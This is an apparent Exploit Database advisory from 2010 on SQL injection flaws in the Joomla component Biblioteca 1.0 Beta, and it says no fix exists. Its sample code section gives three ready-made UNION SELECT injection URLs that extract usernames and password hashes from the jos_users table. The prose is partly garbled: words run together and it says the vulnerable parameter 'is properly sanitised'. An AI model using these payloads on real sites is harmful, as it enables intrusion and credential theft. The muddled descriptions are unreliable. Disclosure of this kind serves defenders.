Joomla! Component Biblioteca 1.0 Beta – Multiple SQL Injections

• Exploit Database
• 9 阅读

• 作者： Salvatore Fresta
  日期： 2010-08-21
• 类别：

  • webapps
  平台：

  • php
• 来源：https://www.exploit-db.com/exploits/14703/

• Biblioteca 1.0 Beta Joomla Component Multiple SQL Injection Vulnerabilities
  
   NameBiblioteca
   Vendorhttp://www.cielostellato.info
   Versions Affected 1.0 Beta
  
   AuthorSalvatore Fresta aka Drosophila
   Website http://www.salvatorefresta.net
   Contact salvatorefresta [at] gmail [dot] com
   Date2010-08-21
  
  X. INDEX
  
   I.ABOUT THE APPLICATION
   II. DESCRIPTION
   III.ANALYSIS
   IV. SAMPLE CODE
   V.FIX
   
  
  I. ABOUT THE APPLICATION
  ________________________
  
  Componentthatallowsthe automaticmanagementof a
  libraryinelectronic format. It' can manage books and
  theirloansthrough an attractivegraphicaluser
  interface simple and usable.
  
  
  II. DESCRIPTION
  _______________
  
  This component doesn't use the common Joomla's functions
  togetthe parameters's value from GET, POST etc.. and
  allofthesearenot properly sanitised before being
  used in SQL queries.
  
  
  III. ANALYSIS
  _____________
  
  Summary:
  
   A) Multiple Blind SQL Injection
   B) Multiple SQL Injection
   
  
  A) Multiple Blind SQL Injection
  _______________________________
  
  
  Theparametertestopassedtobi.php (site and admin
  frontends)isproperly sanitised before being used in a
  SQL query.This can be exploited to manipulate SQL queries
  by injecting arbitrary SQL code.
  
  
  B) Multiple SQL Injection
  _________________________
  
  Theparameter testopassedtostampa.php, pdf.php and 
  models/biblioteca.php (when "view" is set to "biblioteca"
  ) isproperly sanitised before being used in SQL queries.
  Thiscanbeexploited tomanipulateSQLqueriesby
  injecting arbitrary SQL code.
  
  
  IV. SAMPLE CODE
  _______________
  
  A) Multiple SQL Injection
  
  http://host/path/components/com_biblioteca/views/biblioteca/tmpl/stampa.php?pag=1&testo=-a%25' UNION SELECT 1,username,password,4,5,6,7,8,9 FROM jos_users%23
  
  http://host/path/components/com_biblioteca/views/biblioteca/tmpl/pdf.php?pag=1&testo=-a%25' UNION SELECT 1,username,password,4,5,6,7,8,9 FROM jos_users%23
  
  http://host/path/index.php?option=com_biblioteca&view=biblioteca&testo=-a%25' UNION SELECT 1,username,password,4,5,6,7,8,9 FROM jos_users%23
  
  
  V. FIX
  ______
  
  No fix.